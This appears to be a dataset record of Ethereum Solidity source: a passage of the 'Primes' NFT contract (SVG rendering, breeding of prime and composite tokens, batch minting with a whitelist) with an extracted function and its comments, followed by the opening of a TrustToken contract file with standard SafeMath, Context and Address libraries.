7.4V7h-.3l-2.5-4.2a2 2 0 0 0-3.4 0l-5 8.2a2 2 0 0 0 1.8 3H5v6a14 14 0 0 0 14 14h7v22a4 4 0 1 0 8 0V34h8a14 14 0 0 0 14-14v-6h.4a2 2 0 0 0 1.8-3L56 7.4V7h-.3l-2.5-4.2a2 2 0 0 0-3.4 0l-5 8.2a2 2 0 0 0 1.8 3H48v6a6 6 0 0 1-6 6h-8V14h1.3a2 2 0 0 0 1.7-3l-5.3-8.4a2 2 0 0 0-3.4 0Z"/>'; } else if (_attribute == 23) { // Unit return '<path d="M30-.5c.7 0 1.4.2 2 .5h12a4 4 0 0 1 0 8h-9.5v44H44a4 4 0 0 1 0 8H32a4.5 4.5 0 0 1-4 0H17a4 4 0 0 1 0-8h8.5V8H17a4 4 0 0 1 0-8h11c.6-.3 1.3-.5 2-.5Z"/>'; } else if (_attribute == 24) { // Prime return '<circle cx="30" cy="30" r="30"/>'; } else { // Composite return '<circle class="stroke" cx="30" cy="30" r="26"/>'; } } function _icons( uint256 _tokenId, bool _isPrime, bool[23] memory _attributeValues ) internal pure returns (string memory output) { string memory icons; uint256 count = 0; for (uint256 i = 24; i > 0; i--) { string memory icon; if (i == 24) { uint256 specialIdx = _tokenId == 1 ? 23 : _isPrime ? 24 : 25; icon = _getIconGeometry(specialIdx); } else if (_attributeValues[i - 1]) { icon = _getIconGeometry(i - 1); } else { continue; } // icon geom width = 60 // scale = 16/60 = 0.266 // spacing = (60/16) * 23 = 86.25 uint256 x = ((count * 1e2) * (8625)) / 1e2; icons = string( abi.encodePacked( icons, '<g id="i-', _toString(i), '" transform="scale(.266) translate(-', _toDecimalString(x, 2), ',0)">', icon, "</g>" ) ); count = count + 1; } output = string( abi.encodePacked('<g id="icons" transform="translate(317,317)">', icons, "</g>") ); } function _circles( uint256 _tokenId, NumberData memory _numberData, uint16[] memory _factors ) internal pure returns (string memory output) { uint256 nFactor = _factors.length; string memory factorStr; string memory twinStr; string memory cousinStr; string memory sexyStr; string memory squareStr; { bool[14][] memory factorRows = _getBitRows(_factors); for (uint256 i = 0; i < nFactor; i++) { for (uint256 j = 0; j < 14; j++) { if (factorRows[i][j]) { factorStr = string(abi.encodePacked(factorStr, _circle(j, i, "factor"))); } } } } { uint16[] memory squares = _getSquares(_tokenId); bool[14][] memory squareRows = _getBitRows(squares); for (uint256 i = 0; i < squareRows.length; i++) { for (uint256 j = 0; j < 14; j++) { if (squareRows[i][j]) { squareStr = string( abi.encodePacked(squareStr, _circle(j, nFactor + i, "square")) ); } } } squareStr = string(abi.encodePacked('<g opacity=".2">', squareStr, "</g>")); } { bool[14][] memory twinRows = _getBitRows(_numberData.prime.twins); bool[14][] memory cousinRows = _getBitRows(_numberData.prime.cousins); bool[14][] memory sexyRows = _getBitRows(_numberData.prime.sexyPrimes); for (uint256 i = 0; i < 2; i++) { for (uint256 j = 0; j < 14; j++) { if (twinRows[i][j]) { twinStr = string( abi.encodePacked(twinStr, _circle(j, nFactor + i, "twin")) ); } if (cousinRows[i][j]) { cousinStr = string( abi.encodePacked(cousinStr, _circle(j, nFactor + 2 + i, "cousin")) ); } if (sexyRows[i][j]) { sexyStr = string( abi.encodePacked(sexyStr, _circle(j, nFactor + 4 + i, "sexy")) ); } } } } output = string( abi.encodePacked( '<g id="grid" transform="translate(26,26)">', squareStr, twinStr, cousinStr, sexyStr, factorStr, "</g>" ) ); } function _getSquares(uint256 _tokenId) internal pure returns (uint16[] memory) { uint16[] memory squares = new uint16[](14); if (_tokenId > 1) { for (uint256 i = 0; i < 14; i++) { uint256 square = _tokenId**(i + 2); if (square > 16384) { break; } squares[i] = uint16(square); } } return squares; } function _circle( uint256 _xIndex, uint256 _yIndex, string memory _class ) internal pure returns (string memory output) { string memory duration; uint256 index = (_yIndex * 14) + _xIndex + 1; if (index == 1) { duration = "40"; } else { uint256 reciprocal = (1e6 * 1e6) / (1e6 * index); duration = _toDecimalString(reciprocal * 40, 6); } output = string( abi.encodePacked( '<circle r="8" cx="', _toString(23 * _xIndex), '" cy="', _toString(23 * _yIndex), '" class="', _class, '">', '<animate attributeName="opacity" values="1;.3;1" dur="', duration, 's" repeatCount="indefinite"/>', "</circle>" ) ); } function _getBits(uint16 _input) internal pure returns (bool[14] memory) { bool[14] memory bits; for (uint8 i = 0; i < 14; i++) { uint16 flag = (_input >> i) & uint16(1); bits[i] = flag == 1; } return bits; } function _getBitRows(uint16[] memory _inputs) internal pure returns (bool[14][] memory) { bool[14][] memory rows = new bool[14][](_inputs.length); for (uint8 i = 0; i < _inputs.length; i++) { rows[i] = _getBits(_inputs[i]); } return rows; } function _getBitRows(uint16[2] memory _inputs) internal pure returns (bool[14][] memory) { bool[14][] memory rows = new bool[14][](_inputs.length); for (uint8 i = 0; i < _inputs.length; i++) { rows[i] = _getBits(_inputs[i]); } return rows; } function _getAttributes(string[24] memory _parts) internal pure returns (string memory output) { for (uint256 i = 0; i < _parts.length; i++) { string memory input = _parts[i]; if (bytes(input).length == 0) { continue; } output = string(abi.encodePacked(output, bytes(output).length > 0 ? "," : "", input)); } return output; } function _getDigits(uint256 _value) internal pure returns (uint256[] memory) { if (_value == 0) { uint256[] memory zero = new uint256[](1); return zero; } uint256 temp = _value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } uint256[] memory result = new uint256[](digits); temp = _value; while (temp != 0) { digits -= 1; result[digits] = uint256(temp % 10); temp /= 10; } return result; } function _toString(uint256 _value) internal pure returns (string memory) { uint256[] memory digits = _getDigits(uint256(_value)); bytes memory buffer = new bytes(digits.length); for (uint256 i = 0; i < digits.length; i++) { buffer[i] = bytes1(uint8(48 + digits[i])); } return string(buffer); } function _toDecimalString(uint256 _value, uint256 _decimals) internal pure returns (string memory) { if (_decimals == 0 || _value == 0) { return _toString(_value); } uint256[] memory digits = _getDigits(_value); uint256 len = digits.length; bool undersized = len <= _decimals; // Index of the decimal point uint256 ptIdx = undersized ? 1 : len - _decimals; // Leading zeroes uint256 leading = undersized ? 1 + (_decimals - len) : 0; // Create buffer for total length uint256 bufferLen = len + 1 + leading; bytes memory buffer = new bytes(bufferLen); uint256 offset = 0; // Fill buffer for (uint256 i = 0; i < bufferLen; i++) { if (i == ptIdx) { // Add decimal point buffer[i] = bytes1(uint8(46)); offset++; } else if (leading > 0 && i <= leading) { // Add leading zero buffer[i] = bytes1(uint8(48)); offset++; } else { // Add digit with index offset for added bytes buffer[i] = bytes1(uint8(48 + digits[i - offset])); } } return string(buffer); } function _attributeNames(uint256 _i) internal pure returns (string memory) { string[23] memory attributeNames = [ "Taxicab", "Perfect", "Euler's Lucky Number", "Unique Prime", "Friendly", "Colossally Abundant", "Fibonacci", "Repdigit", "Weird", "Triangular", "Sophie Germain Prime", "Strong Prime", "Frugal", "Square", "Emirp", "Magic", "Lucky", "Good Prime", "Happy", "Untouchable", "Semiperfect", "Harshad", "Evil" ]; return attributeNames[_i]; } } // SPDX-License-Identifier: GPL-3.0 /// @title MathBlocks, Primes /******************************************** * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM * * MMMMMMMMMMMMNmdddddddddddddddddmNMMMMMMM * * MMMMMMMMMmhyssooooooooooooooooosyhNMMMMM * * MMMMMMMmyso+/::::::::::::::::::/osyMMMMM * * MMMMMMhys+::/+++++++++++++++++/:+syNMMMM * * MMMMNyso/:/+/::::+/:::/+:::::::+oshMMMMM * * MMMMmys/-//:/++:/+://-++-+oooossydMMMMMM * * MMMMNyso+//+s+/:+/:+/:+/:+syddmNMMMMMMMM * * MMMMMNdyyyyso/:++:/+:/+/:+syNMMMMMMMMMMM * * MMMMMMMMMhso/:/+/:++:/++-+symMMMMMMMMMMM * * MMMMMMMMdys+:/++:/++:/++:/+syNMMMMMMMMMM * * MMMMMMMNys+:/++/:+s+:/+++:/oydMMMMMMMMMM * * MMMMMMMmys+:/+/:/oso/:///:/sydMMMMMMMMMM * * MMMMMMMMhso+///+osyso+///osyhMMMMMMMMMMM * * MMMMMMMMMmhyssyyhmMdhyssyydNMMMMMMMMMMMM * * MMMMMMMMMMMMMNMMMMMMMMMNMMMMMMMMMMMMMMMM * *******************************************/ contract Primes is ERC721Tradable, ReentrancyGuard, TokenAttributes { using Packed16BitArray for Packed16BitArray.PackedArray; // Periods uint256 internal constant RESCUE_SALE_GRACE_PERIOD = 48 hours; uint256 internal constant WHITELIST_ONLY_PERIOD = 24 hours; uint256 internal constant BATCH_0_GRACE_PERIOD = 2 hours; uint256 internal constant BATCH_1_GRACE_PERIOD = 2 hours; uint256 internal constant BATCH_2_GRACE_PERIOD = 12 hours; // Prices: 0.05 ETH for FLC, 0.075 for EGS uint256 internal constant BATCH_0_PRICE = 5e16; uint256 internal constant BATCH_1_PRICE = 75e15; Packed16BitArray.PackedArray internal packedPrimes; Packed16BitArray.PackedArray internal batch0; Packed16BitArray.PackedArray internal batch1; Packed16BitArray.PackedArray internal batch2; bytes32 public whitelistRootHash; mapping(uint256 => CoreData) public data; mapping(uint256 => RentalData) public rental; mapping(address => Activity) public users; address public auctionHouse; uint256 public batchStartTime; uint256 public nonce; address public immutable setupAddr; uint256 public immutable BREEDING_COOLDOWN; event Initialized(); event PrimeClaimed(uint256 tokenId); event BatchStarted(uint256 batchId); event Bred(uint16 tokenId, uint256 parent1, uint256 parent2); event Listed(uint16 tokenId); event UnListed(uint16 tokenId); constructor( address _dao, uint256 _breedCooldown, address _proxyRegistryAddress, bytes32 _attributesRootHash, bytes32 _whitelistRootHash ) ERC721Tradable("Primes", "PRIME", _proxyRegistryAddress) TokenAttributes(_attributesRootHash) { setupAddr = msg.sender; transferOwnership(_dao); BREEDING_COOLDOWN = _breedCooldown; whitelistRootHash = _whitelistRootHash; } /*************************************** VIEWS ****************************************/ function fetchPrime(uint256 _index) public view returns (uint16 primeNumber) { return packedPrimes.getValue(_index); } function getNumberData(uint256 _tokenId) public view returns (NumberData memory) { require(_tokenId <= 2**14, "Number too large"); CoreData memory core = data[_tokenId]; return NumberData({ core: core, prime: PrimeData({ sexyPrimes: sexyPrimes(core.primeIndex), twins: twins(core.primeIndex), cousins: cousins(core.primeIndex) }) }); } function getSuitors(uint256 _tokenId) public view returns (uint16[6] memory) { return rental[_tokenId].suitors; } function getParents(uint256 _tokenId) public view returns (uint16[2] memory) { return data[_tokenId].parents; } /*************************************** BREEDING ****************************************/ function breedPrimes( uint16 _parent1, uint16 _parent2, uint256 _attributes, bytes32[] memory _merkleProof ) external nonReentrant { BreedInput memory input1 = _getInput(_parent1); BreedInput memory input2 = _getInput(_parent2); require(input1.owns && input2.owns, "Breeder must own input token"); _breed(input1, input2, _attributes, _merkleProof); } function crossBreed( uint16 _parent1, uint16 _parent2, uint256 _attributes, bytes32[] memory _merkleProof ) external payable nonReentrant { BreedInput memory input1 = _getInput(_parent1); BreedInput memory input2 = _getInput(_parent2); require(input1.owns, "Must own first input"); require(input2.rentalData.isRentable, "Must be rentable"); require(msg.value >= input2.rentalData.studFee, "Must pay stud fee"); payable(input2.owner).transfer((msg.value * 9) / 10); require(block.timestamp < input2.rentalData.deadline, "Rental passed deadline"); if (input2.rentalData.whitelistOnly) { bool isSuitor; for (uint256 i = 0; i < 6; i++) { isSuitor = isSuitor || input2.rentalData.suitors[i] == _parent1; } require(isSuitor, "Must be whitelisted suitor"); } _breed(input1, input2, _attributes, _merkleProof); } function _breed( BreedInput memory _input1, BreedInput memory _input2, uint256 _attributes, bytes32[] memory _merkleProof ) internal { // VALIDATION // 1. Check less than max uint16 uint256 childVal = uint256(_input1.id) * uint256(_input2.id); require(childVal <= 2**14, "Number too large"); uint16 scaledVal = uint16(childVal); // 2. Number doesn't exist require(!_exists(scaledVal), "Number already taken"); // 3. Tokens passed cooldown require( block.timestamp > _input1.tokenData.lastBred + BREEDING_COOLDOWN && block.timestamp > _input2.tokenData.lastBred + BREEDING_COOLDOWN, "Cannot breed so quickly" ); // 4. Composites can't self-breed require( !(_input1.id == _input2.id && !_input1.tokenData.isPrime), "Composites cannot self-breed" ); // Breed data[_input1.id].lastBred = uint32(block.timestamp); data[_input2.id].lastBred = uint32(block.timestamp); data[scaledVal] = CoreData({ isPrime: false, primeIndex: 0, primeFactorCount: _input1.tokenData.primeFactorCount + _input2.tokenData.primeFactorCount, parents: [_input1.id, _input2.id], lastBred: uint32(block.timestamp) }); _safeMint(msg.sender, scaledVal); if (_attributes > 0) { revealAttributes(scaledVal, _attributes, _merkleProof); } _burnAfterBreeding(_input1, _input2); emit Bred(scaledVal, _input1.id, _input2.id); } function _burnAfterBreeding(BreedInput memory _input1, BreedInput memory _input2) internal { // Both primes, no burn if (_input1.tokenData.isPrime && _input2.tokenData.isPrime) return; // One prime, if (_input1.tokenData.isPrime) { require(_input2.owns, "Breeder must own burning"); _burn(_input2.id); } else if (_input2.tokenData.isPrime) { require(_input1.owns, "Breeder must own burning"); _burn(_input1.id); } // No primes, both burn else { require(_input1.owns && _input2.owns, "Breeder must own burning"); _burn(_input1.id); _burn(_input2.id); } } function list( uint16 _tokenId, uint96 _fee, uint32 _deadline, uint16[] memory _suitors ) external { require(msg.sender == ownerOf(_tokenId), "Must own said token"); uint16[6] memory suitors; uint256 len = _suitors.length; if (len > 0) { require(len < 6, "Max 6 suitors"); for (uint256 i = 0; i < len; i++) { suitors[i] = _suitors[i]; } } rental[_tokenId] = RentalData({ isRentable: true, whitelistOnly: len > 0, studFee: _fee, deadline: _deadline, suitors: suitors }); emit Listed(_tokenId); } function unlist(uint16 _tokenId) external { require(msg.sender == ownerOf(_tokenId), "Must own said token"); uint16[6] memory empty6; rental[_tokenId] = RentalData(false, false, 0, 0, empty6); emit UnListed(_tokenId); } struct BreedInput { bool owns; address owner; uint16 id; CoreData tokenData; RentalData rentalData; } function _getInput(uint16 _breedInput) internal view returns (BreedInput memory) { address owner = ownerOf(_breedInput); return BreedInput({ owns: owner == msg.sender, owner: owner, id: _breedInput, tokenData: data[_breedInput], rentalData: rental[_breedInput] }); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); uint16[6] memory empty6; rental[tokenId] = RentalData(false, false, 0, 0, empty6); } /*************************************** TOKEN URI ****************************************/ function tokenURI(uint256 _tokenId) public view override returns (string memory output) { NumberData memory numberData = getNumberData(_tokenId); bool[23] memory attributeValues = getAttributes(_tokenId); uint16[] memory factors = getPrimeFactors(uint16(_tokenId), numberData); return PrimesTokenURI.tokenURI(_tokenId, numberData, factors, attributeValues); } function getPrimeFactors(uint16 _tokenId, NumberData memory _numberData) public view returns (uint16[] memory factors) { factors = _getFactors(_tokenId, _numberData.core); factors = _insertion(factors); } function _getFactors(uint16 _tokenId, CoreData memory _core) internal view returns (uint16[] memory factors) { if (_core.isPrime) { factors = new uint16[](1); factors[0] = _tokenId; } else { uint16[] memory parent1Factors = _getFactors(_core.parents[0], data[_core.parents[0]]); uint256 len1 = parent1Factors.length; uint16[] memory parent2Factors = _getFactors(_core.parents[1], data[_core.parents[1]]); uint256 len2 = parent2Factors.length; factors = new uint16[](len1 + len2); for (uint256 i = 0; i < len1; i++) { factors[i] = parent1Factors[i]; } for (uint256 i = 0; i < len2; i++) { factors[len1 + i] = parent2Factors[i]; } } } function _insertion(uint16[] memory _arr) internal pure returns (uint16[] memory) { uint256 length = _arr.length; for (uint256 i = 1; i < length; i++) { uint16 key = _arr[i]; uint256 j = i - 1; while ((int256(j) >= 0) && (_arr[j] > key)) { _arr[j + 1] = _arr[j]; unchecked { j--; } } unchecked { _arr[j + 1] = key; } } return _arr; } function sexyPrimes(uint256 _primeIndex) public view returns (uint16[2] memory matches) { if (_primeIndex > 0) { matches = packedPrimes.biDirectionalSearch(_primeIndex, 6); if (_primeIndex == 4) { // 7: 1 is not prime but is in packedPrimes; exclude it here matches[0] = 0; } } } function twins(uint256 _primeIndex) public view returns (uint16[2] memory matches) { if (_primeIndex > 0) { matches = packedPrimes.biDirectionalSearch(_primeIndex, 2); if (_primeIndex == 2) { // 3: 1 is not prime but is in packedPrimes; exclude it here matches[0] = 0; } } } function cousins(uint256 _primeIndex) public view returns (uint16[2] memory matches) { if (_primeIndex > 0) { matches = packedPrimes.biDirectionalSearch(_primeIndex, 4); if (_primeIndex == 3) { // 5: 1 is not prime but is in packedPrimes; exclude it here matches[0] = 0; } } } /*************************************** MINTING ****************************************/ function mintRandomPrime( uint256 _batch0Cap, uint256 _batch1Cap, bytes32[] memory _merkleProof ) external payable { mintRandomPrimes(1, _batch0Cap, _batch1Cap, _merkleProof); } function mintRandomPrimes( uint256 _count, uint256 _batch0Cap, uint256 _batch1Cap, bytes32[] memory _merkleProof ) public payable nonReentrant { (bool active, uint256 batchId, uint256 remaining, ) = batchCheck(); require(active && batchId < 2, "Batch not active"); require(remaining >= _count, "Not enough Primes available"); require(_count <= 20, "Cannot mint >20 Primes at once"); uint256 unitPrice = batchId == 0 ? BATCH_0_PRICE : BATCH_1_PRICE; require(msg.value >= _count * unitPrice, "Requires value"); _validateUser(batchId, _count, _batch0Cap, _batch1Cap, _merkleProof); for (uint256 i = 0; i < _count; i++) { _getPrime(batchId); } } function getNextPrime() external nonReentrant returns (uint256 tokenId) { require(msg.sender == auctionHouse, "Must be the auctioneer"); (bool active, uint256 batchId, uint256 remaining, ) = batchCheck(); require(active && batchId == 2, "Batch not active"); require(remaining > 0, "No more Primes"); uint256 idx = batch2.length - 1; uint16 primeIndex = batch2.getValue(idx); batch2.extractIndex(idx); tokenId = _mintLocal(msg.sender, primeIndex); } // After each batch has begun, the DAO can mint to ensure no bottleneck function rescueSale() external onlyOwner nonReentrant { (bool active, uint256 batchId, uint256 remaining, ) = batchCheck(); require(active, "Batch not active"); require( block.timestamp > batchStartTime + RESCUE_SALE_GRACE_PERIOD, "Must wait for sale to elapse" ); uint256 rescueCount = remaining < 20 ? remaining : 20; for (uint256 i = 0; i < rescueCount; i++) { _getPrime(batchId); } } function withdraw() external onlyOwner nonReentrant { payable(owner()).transfer(address(this).balance); } function batchCheck() public view returns ( bool active, uint256 batch, uint256 remaining, uint256 startTime ) { uint256 ts = batchStartTime; if (ts == 0) { return (false, 0, 0, 0); } if (batch0.length > 0) { startTime = batchStartTime + BATCH_0_GRACE_PERIOD; return (block.timestamp > startTime, 0, batch0.length, startTime); } if (batch1.length > 0) { startTime = batchStartTime + BATCH_1_GRACE_PERIOD; return (block.timestamp > startTime, 1, batch1.length, startTime); } startTime = batchStartTime + BATCH_2_GRACE_PERIOD; return (block.timestamp > startTime, 2, batch2.length, startTime); } /*************************************** MINTING - INTERNAL ****************************************/ function _getPrime(uint256 _batchId) internal { uint256 seed = _rand(); uint16 primeIndex; if (_batchId == 0) { uint256 idx = seed % batch0.length; primeIndex = batch0.getValue(idx); batch0.extractIndex(idx); _triggerTimestamp(_batchId, batch0.length); } else if (_batchId == 1) { uint256 idx = seed % batch1.length; primeIndex = batch1.getValue(idx); batch1.extractIndex(idx); _triggerTimestamp(_batchId, batch1.length); } else { revert("Invalid batchId"); } _mintLocal(msg.sender, primeIndex); } function _mintLocal(address _beneficiary, uint16 _primeIndex) internal returns (uint256 tokenId) { uint16[2] memory empty; tokenId = fetchPrime(_primeIndex); data[tokenId] = CoreData({ isPrime: true, primeIndex: _primeIndex, primeFactorCount: 1, parents: empty, lastBred: uint32(block.timestamp) }); _safeMint(_beneficiary, tokenId); emit PrimeClaimed(tokenId); } function _validateUser( uint256 _batchId, uint256 _count, uint256 _batch0Cap, uint256 _batch1Cap, bytes32[] memory _merkleProof ) internal { if (block.timestamp < batchStartTime + WHITELIST_ONLY_PERIOD) { bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _batch0Cap, _batch1Cap)); require( MerkleProof.verify(_merkleProof, whitelistRootHash, leaf), "Invalid merkle proof" ); uint8 countAfter = ( _batchId == 0 ? users[msg.sender].tranche0 : users[msg.sender].tranche1 ) + uint8(_count); if (_batchId == 0) { require(countAfter <= _batch0Cap, "Exceeding cap"); users[msg.sender].tranche0 = countAfter; } else { require(countAfter <= _batch1Cap, "Exceeding cap"); users[msg.sender].tranche1 = countAfter; } } } function _triggerTimestamp(uint256 _batchId, uint256 _len) internal { if (_len == 0) { batchStartTime = block.timestamp; emit BatchStarted(_batchId + 1); } } function _rand() internal virtual returns (uint256 seed) { nonce++; seed = uint256( keccak256( abi.encodePacked( block.timestamp + block.difficulty + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (block.timestamp)) + block.gaslimit + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (block.timestamp)) + block.number, nonce ) ) ); } /*************************************** INITIALIZING ****************************************/ modifier onlyInitializer() { require(msg.sender == setupAddr, "Only initializer"); _; } function initPrimes(uint256[] calldata _data, uint256 _length) external onlyInitializer { require(packedPrimes.length == 0, "Already initialized"); packedPrimes = Packed16BitArray.initStruct(_data, _length); } function initBatch0(uint256[] calldata _data, uint256 _length) external onlyInitializer { require(batch0.length == 0, "Already initialized"); batch0 = Packed16BitArray.initStruct(_data, _length); } function initBatch1(uint256[] calldata _data, uint256 _length) external onlyInitializer { require(batch1.length == 0, "Already initialized"); batch1 = Packed16BitArray.initStruct(_data, _length); } function initBatch2(uint256[] calldata _data, uint256 _length) external onlyInitializer { require(batch2.length == 0, "Already initialized"); batch2 = Packed16BitArray.initStruct(_data, _length); } function start(address _auctionHouse) external onlyInitializer { require( packedPrimes.length > 0 && batch0.length > 0 && batch1.length > 0 && batch2.length > 0, "Not initialized" ); batchStartTime = block.timestamp; auctionHouse = _auctionHouse; _mintLocal(owner(), 0); emit Initialized(); } }
VALIDATION 1. Check less than max uint16 2. Number doesn't exist 3. Tokens passed cooldown 4. Composites can't self-breed Breed
function _breed( BreedInput memory _input1, BreedInput memory _input2, uint256 _attributes, bytes32[] memory _merkleProof ) internal { uint256 childVal = uint256(_input1.id) * uint256(_input2.id); require(childVal <= 2**14, "Number too large"); uint16 scaledVal = uint16(childVal); require(!_exists(scaledVal), "Number already taken"); require( block.timestamp > _input1.tokenData.lastBred + BREEDING_COOLDOWN && block.timestamp > _input2.tokenData.lastBred + BREEDING_COOLDOWN, "Cannot breed so quickly" ); require( !(_input1.id == _input2.id && !_input1.tokenData.isPrime), "Composites cannot self-breed" ); data[_input1.id].lastBred = uint32(block.timestamp); data[_input2.id].lastBred = uint32(block.timestamp); data[scaledVal] = CoreData({ isPrime: false, primeIndex: 0, primeFactorCount: _input1.tokenData.primeFactorCount + _input2.tokenData.primeFactorCount, parents: [_input1.id, _input2.id], lastBred: uint32(block.timestamp) }); _safeMint(msg.sender, scaledVal); if (_attributes > 0) { revealAttributes(scaledVal, _attributes, _merkleProof); } _burnAfterBreeding(_input1, _input2); emit Bred(scaledVal, _input1.id, _input2.id); }
5,836,222
/** *Submitted for verification at Etherscan.io on 2021-02-19 */ /* .'''''''''''.. ..''''''''''''''''.. ..'''''''''''''''.. .;;;;;;;;;;;'. .';;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. .;;;;;;;;;;;;;;;;;;;;,. ';;;;;;;;'. .';;;;;;;;;;;;;;;;;;;;;;,. .';;;;;;;;;;;;;;;;;;;;;,. ';;;;;,.. .';;;;;;;;;;;;;;;;;;;;;;;,..';;;;;;;;;;;;;;;;;;;;;;,. ...... .';;;;;;;;;;;;;,'''''''''''.,;;;;;;;;;;;;;,'''''''''.. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;;. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;,. .;;;;;;;;;;;;;,. ..... .;;;;;;;;;;;;;'. ..';;;;;;;;;;;;;'. .',;;;;,'. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .';;;;;;;;;;. .';;;;;;;;;;;;;'. .';;;;;;;;;;;;;;'. .;;;;;;;;;;;,. .,;;;;;;;;;;;;;'...........,;;;;;;;;;;;;;;. .;;;;;;;;;;;,. .,;;;;;;;;;;;;,..,;;;;;;;;;;;;;;;;;;;;;;;,. ..;;;;;;;;;,. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;;,. .',;;;,,.. .,;;;;;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;;,. .... ..',;;;;;;;;,. .,;;;;;;;;;;;;;;;;;;;;,. ..',;;;;'. .,;;;;;;;;;;;;;;;;;;;'. ...'.. .';;;;;;;;;;;;;;,,,'. ............... */ // https://github.com/trusttoken/smart-contracts // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/utils/Address.sol // pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [// importANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * 